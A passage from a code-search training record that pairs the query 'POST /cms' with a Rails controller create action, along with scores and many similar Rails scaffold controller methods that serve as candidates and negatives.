"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end",
"def show\n @assessment = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assessment }\n end\n end",
"def show\n @sproject = current_user.sprojects.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sproject }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def show\n @content_url = ContentUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_url }\n end\n end",
"def index\n @sites = current_user.sites.page(params[\"page\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def index\n @medical_camps = MedicalCamp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medical_camps }\n end\n end",
"def show\n @component = service.components.find_by(slug: params[:id])\n\n render json: @component\n end",
"def show\n @site_config = SiteConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_config }\n end\n end",
"def show\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @slab }\n end\n end",
"def show\n @mastery_category = MasteryCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mastery_category }\n end\n end",
"def index\n @content_managers = BigCms::ContentManager.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @content_managers }\n end\n end",
"def show\n @structure_page = Structure::Page.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @structure_page }\n end\n end",
"def index\n render json: @links\n end",
"def show\n @comic_page = ComicPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic_page }\n end\n end",
"def index\n @api_v1_menus = Menu.all\n render json: @api_v1_menus\n end",
"def show\n @admin_useful_news = Admin::UsefulNews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_useful_news }\n end\n end",
"def show\n respond_to do |format|\n format.html do \n set_site\n @site\n end\n format.json do\n render json: @site\n end\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @content }\n end\n end",
"def show\n @lab_mobile_course = LabMobileCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_mobile_course }\n end\n end",
"def index\n @logincms = Logincm.all\n end",
"def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @site }\n end\n end",
"def show\n @content_item = ContentItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_item }\n end\n end",
"def index\n @cultures = Culture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cultures }\n end\n end",
"def index\n @builds = Build.all\n render json: @builds\n end",
"def show\n render json: Company.find(params[\"id\"])\n end",
"def show\n @main_content = MainContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_content }\n end\n end",
"def set_cms_page\n begin\n @cms_page = CmsPage.cached_find(params[:id])\n rescue\n not_found\n end\n end",
"def index\n @sprojects = current_user.sprojects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprojects }\n end\n end",
"def show\n @complexity = Complexity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complexity }\n end\n end",
"def show\n @digital_content = DigitalContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @digital_content }\n end\n end",
"def show\n @musique = Musique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @musique }\n end\n end",
"def show\n render :json => @slab_project\n end",
"def show\n @ci = Ci.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ci }\n end\n end",
"def index\n @collections = @institution.collections.order(:name)\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @collections }\n end\n end",
"def cms\n if @user != nil and @user.admin?(@routes)\n show :header, views: File.join(Classiccms::ROOT, 'views/cms')\n end\n end",
"def show\n @pages_article = PagesArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pages_article }\n end\n end",
"def show\n @system = System.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system }\n end\n end",
"def index\n @courses = Course.all\n render json: @courses, status: :ok\n end",
"def index\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def show\n @major = Major.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @major }\n end\n end",
"def new\n @static_content = StaticContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_content }\n end\n end",
"def index\n\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributions }\n end\n end",
"def index\n @content_urls = ContentUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_urls }\n end\n end",
"def show\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sistema }\n end\n end",
"def new\n @cms_page = CmsPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cms_page }\n end\n end",
"def index\n @static_pages = StaticPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @static_pages }\n end\n end"
] | [
"0.6407261",
"0.63677377",
"0.6351769",
"0.62532735",
"0.61691445",
"0.615172",
"0.61233634",
"0.6065707",
"0.6059847",
"0.60125643",
"0.60107124",
"0.5978079",
"0.596103",
"0.5922788",
"0.59023184",
"0.58990544",
"0.58785737",
"0.58736503",
"0.58689916",
"0.5865461",
"0.58644164",
"0.58638245",
"0.5860325",
"0.5857862",
"0.5851822",
"0.5845678",
"0.58381116",
"0.5834207",
"0.57983166",
"0.57979244",
"0.57955784",
"0.5788985",
"0.5788738",
"0.5788738",
"0.5788738",
"0.57879394",
"0.57634455",
"0.5759734",
"0.5758393",
"0.5758276",
"0.57566506",
"0.57565075",
"0.57549727",
"0.57473123",
"0.5732886",
"0.5732886",
"0.5732886",
"0.5732886",
"0.5732886",
"0.5732886",
"0.5732886",
"0.57326615",
"0.57320285",
"0.57284665",
"0.5724962",
"0.5724962",
"0.57222736",
"0.5710941",
"0.57099",
"0.570605",
"0.57057357",
"0.5703602",
"0.5698335",
"0.56964844",
"0.56963617",
"0.56962043",
"0.56897503",
"0.5688587",
"0.5685709",
"0.56819856",
"0.5680548",
"0.56777096",
"0.5672263",
"0.5671614",
"0.56701505",
"0.5666172",
"0.5662114",
"0.56608623",
"0.5659095",
"0.5658567",
"0.56528324",
"0.5646743",
"0.5645354",
"0.5640433",
"0.563237",
"0.5629445",
"0.56289595",
"0.56237066",
"0.56232405",
"0.56202775",
"0.561795",
"0.5617702",
"0.56172",
"0.56132776",
"0.56127214",
"0.5611699",
"0.561037",
"0.560395",
"0.56038976",
"0.5598236"
] | 0.6230221 | 4 |
GET /cms/new GET /cms/new.json | def new
@cm = Cm.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @cm }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @page = current_site.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @site = Site.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @published = Published.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @published }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end",
"def new\n @cms_page = CmsPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cms_page }\n end\n end",
"def new\n @news = News.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end",
"def new\n # Create new news\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @news_item }\n end\n end",
"def new\n @static_content = StaticContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_content }\n end\n end",
"def new\n @site = Site.new\n @site.url = 'http://'\n @site.creator = current_user.name if user_signed_in?\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n format.xml { render :xml => @site }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @content }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js # new.js.erb\n format.json { render json: @site }\n end\n end",
"def new\n @content_url = ContentUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_url }\n end\n end",
"def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end",
"def new\n @dummy = Dummy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dummy }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page, :only => [:title, :content] }\n end\n end",
"def new\n @publish = Publish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publish }\n end\n end",
"def new\n @page = ContentPage.new\n @blocks = nil\n #@newBlock = PageBlock.new\n @form_action = \"create_page\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @static_page = StaticPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_page }\n end\n end",
"def new\n @static_page = StaticPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_page }\n end\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end",
"def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end",
"def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end",
"def new\r\n @page = Page.new\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @page }\r\n end\r\n end",
"def new\n @pages_article = PagesArticle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pages_article }\n end\n end",
"def new\n @title = \"New Subject\"\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end",
"def new\n @page_template = PageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_template }\n end\n end",
"def new\n @static = Static.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static }\n end\n end",
"def new\n @Page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @Page }\n end\n end",
"def new\n @cso = Cso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cso }\n end\n end",
"def new\n\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end",
"def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end",
"def new\n @content_item = ContentItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item }\n end\n end",
"def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end",
"def new\n @admin_useful_news = Admin::UsefulNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_useful_news }\n end\n end",
"def new\n\t\tdeny_access_unless(admin? || editor?)\n @article = Article.new\n\t\[email protected] = false\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @article }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sm }\n end\n end",
"def new\n @content_translation = ContentTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_translation }\n end\n end",
"def new\n @sync_page = SyncPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sync_page }\n end\n end",
"def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end",
"def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end",
"def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end",
"def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end",
"def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end",
"def new\n @news_list = NewsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_list }\n end\n end",
"def new\n @title = 'New Page'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @category = current_mall.categories.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @construction = Construction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction }\n end\n end",
"def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @link }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end",
"def new\n @admin_about = About.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_about }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end"
] | [
"0.77427584",
"0.759891",
"0.74795735",
"0.7464193",
"0.7464193",
"0.7464193",
"0.7464193",
"0.7298688",
"0.7273727",
"0.7273727",
"0.7273727",
"0.7273727",
"0.7273727",
"0.7273727",
"0.725843",
"0.72582686",
"0.72573936",
"0.7253391",
"0.72430265",
"0.72296435",
"0.7227275",
"0.72164285",
"0.72119033",
"0.7209653",
"0.720047",
"0.71711326",
"0.7140057",
"0.71223205",
"0.71005833",
"0.70967066",
"0.7089265",
"0.7083206",
"0.7081184",
"0.7081184",
"0.7081184",
"0.7081184",
"0.7081184",
"0.7079032",
"0.7079032",
"0.70626354",
"0.7057969",
"0.7056905",
"0.7056905",
"0.70545536",
"0.705435",
"0.70459443",
"0.70345825",
"0.7014801",
"0.70109975",
"0.70076835",
"0.70035064",
"0.70031166",
"0.7001266",
"0.69973475",
"0.69929105",
"0.69884366",
"0.6987566",
"0.6985099",
"0.6970109",
"0.6967873",
"0.69567364",
"0.6955362",
"0.6955362",
"0.6955362",
"0.6955362",
"0.6955362",
"0.6948448",
"0.6945467",
"0.69448024",
"0.69397104",
"0.693237",
"0.6917987",
"0.69122905",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6904682",
"0.6898404",
"0.68951035",
"0.68951035",
"0.68951035",
"0.68951035"
] | 0.7160613 | 26 |
POST /cms POST /cms.json | def create
@cm = Cm.new(params[:cm])
respond_to do |format|
if @cm.save
format.html { redirect_to @cm, notice: 'Cm was successfully created.' }
format.json { render json: @cm, status: :created, location: @cm }
else
format.html { render action: "new" }
format.json { render json: @cm.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @cms_page = CmsPage.new(cms_page_params)\n\n respond_to do |format|\n if @cms_page.save\n format.html { redirect_to @cms_page, notice: 'Cms page was successfully created.' }\n format.json { render :show, status: :created, location: @cms_page }\n else\n format.html { render :new }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_page = current_portal.pages.build(cms_page_params)\n\n respond_to do |format|\n if @cms_page.save\n format.html { redirect_to @cms_page, notice: 'Page was successfully created.' }\n format.json { render :show, status: :created, location: @cms_page }\n else\n format.html { render :new }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n model = params[:model]\n #NOTE: Pay attention how the data is passed as a hash. This is how locomotive expects it. Not obvious.\n # req.set_form_data('content_entry[name]' => data['name'], 'content_entry[summary]' => data['summary'], 'model' => model)\n form_data = {}\n params[:content_entry].each do |key,val|\n form_data[\"content_entry[#{key}]\"] = val\n end\n #data = params[:content_entry]\n\n uri = URI(\"#{@cms_url}/locomotive/api/content_types/#{model}/entries.json?auth_token=#{APP_CONFIG['locomotive']['auth_token']}\")\n\n req = Net::HTTP::Post.new(uri)\n req.set_form_data(form_data)\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n render :json => res.body\n else\n # examine response code and generate appropriate error message\n render :json => res.value\n end\n\n end",
"def cms_page_params\n params.require(:cms_page).permit(:title, :slug, :content, :cms_layout_id, :parent_id, :description, :hidden, :redirect_url, :draft)\n end",
"def create\n @site = Cms::Site.new(cms_site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to cms.sites_url, notice: '站点已创建.' }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cms_page_params\n params.require(:cms_page).permit(:title, :category, :page_type, :external_url, :internal_url, :document, :page_template_id, :cols, page_sections_attributes: [ :id, :photo, :body, :page_id ])\n end",
"def create\n @page = current_cms.pages.new(params[:big_cms_page])\n respond_to do |format|\n if @page.save\n format.html { redirect_to(@page, :notice => 'Page was successfully created.') }\n format.xml { render :xml => @page, :status => :created, :location => @page }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_page_section = Cms::PageSection.new(cms_page_section_params)\n\n respond_to do |format|\n if @cms_page_section.save\n format.html { redirect_to :controller => \"/pages\", :action => \"show\", :id => @cms_page_section.page_id, notice: 'Page section was successfully created.' }\n format.json { render :show, status: :created, location: @cms_page_section }\n else\n format.html { render :new }\n format.json { render json: @cms_page_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_page = Cms::Page.new(cms_page_params)\n respond_to do |format|\n if @cms_page.save\n\t if @cms_page.page_type == \"Template\"\n \tformat.html { redirect_to :action => \"add_content\", :id => @cms_page.id, notice: 'Page was successfully created.' }\n else \n \tformat.html { redirect_to @cms_page, notice: 'Page was successfully updated.' }\n end\n format.json { render :show, status: :created, location: @cms_page }\n else\n format.html { render :new }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_blog_category = CMS::BlogCategory.new(cms_blog_category_params)\n\n respond_to do |format|\n if @cms_blog_category.save\n format.html { redirect_to cms_admin_blog_categories_url, notice: 'Blog category was successfully created.' }\n format.json { render :show, status: :created, location: @cms_blog_category }\n else\n format.html { render :new }\n format.json { render json: @cms_blog_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:cms_page][:parent_id] = 0 if params[:cms_page][:parent_id].blank?\n @cms_page = CmsPage.new(params[:cms_page])\n\n respond_to do |format|\n if @cms_page.save\n expire_page \"/#{@cms_page.path}\" \n flash[:notice] = 'CmsPage was successfully created.'\n format.html { redirect_to(['admin', @cms_page]) }\n format.xml { render :xml => @cms_page, :status => :created, :location => ['admin', @cms_page] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cms_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_user = User.new(cms_user_params)\n\n respond_to do |format|\n if @cms_user.save\n format.html { redirect_to @cms_user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @cms_user }\n else\n format.html { render :new }\n format.json { render json: @cms_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = ContentPage.new\n @blocks = nil\n #@newBlock = PageBlock.new\n @form_action = \"create_page\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def create\n render json: Post.create(params[\"post\"])\n end",
"def new\n @static_content = StaticContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_content }\n end\n end",
"def cms_page_params\n params.require(:cms_page).permit(:user_id, :title)\n end",
"def new\n @page = current_site.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @cms_page = CmsPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cms_page }\n end\n end",
"def create\n @site_editorial = SiteEditorial.new(site_editorial_params)\n\n respond_to do |format|\n if @site_editorial.save\n format.html { redirect_to @site_editorial, notice: 'Site editorial was successfully created.' }\n format.json { render json: @site_editorial, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @site_editorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(params[:content])\n\n respond_to do |format|\n if @content.save\n flash[:success] = 'Content was successfully created.'\n format.html { redirect_to admin_content_path(@content.id) }\n format.json { render json: @content, status: :created, location: @content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end",
"def create\n @structure_content = Structure::Content.new(params[:structure_content])\n\n respond_to do |format|\n if @structure_content.save\n format.html { redirect_to @structure_content, notice: 'Content was successfully created.' }\n format.json { render json: @structure_content, status: :created, location: @structure_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @structure_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @page = current_site.pages.new(params[:page])\n @site = @page.site\n\n respond_to do |format|\n if @page.save\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created, location: @page }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @content_translation = ContentTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_translation }\n end\n end",
"def create\n @content = Content.new(params[:content])\n if @content.save\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@content.errors)\n end\n end",
"def create\n @managecourse = current_admin.managecourses.build(managecourse_params)\n\n respond_to do |format|\n if @managecourse.save\n format.html { redirect_to @managecourse, notice: 'Managecourse was successfully created.' }\n format.json { render :show, status: :created, location: @managecourse }\n else\n format.html { render :new }\n format.json { render json: @managecourse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @payment_site_master = PaymentSiteMaster.new(payment_site_master_params)\n\n respond_to do |format|\n if @payment_site_master.save\n format.html { redirect_to @payment_site_master, notice: 'Payment site master was successfully created.' }\n format.json { render 'show', status: :created, location: @payment_site_master }\n else\n format.html { render 'new' }\n format.json { render json: @payment_site_master.errors, status: :unprocessable_entity }\n end\n end\n end",
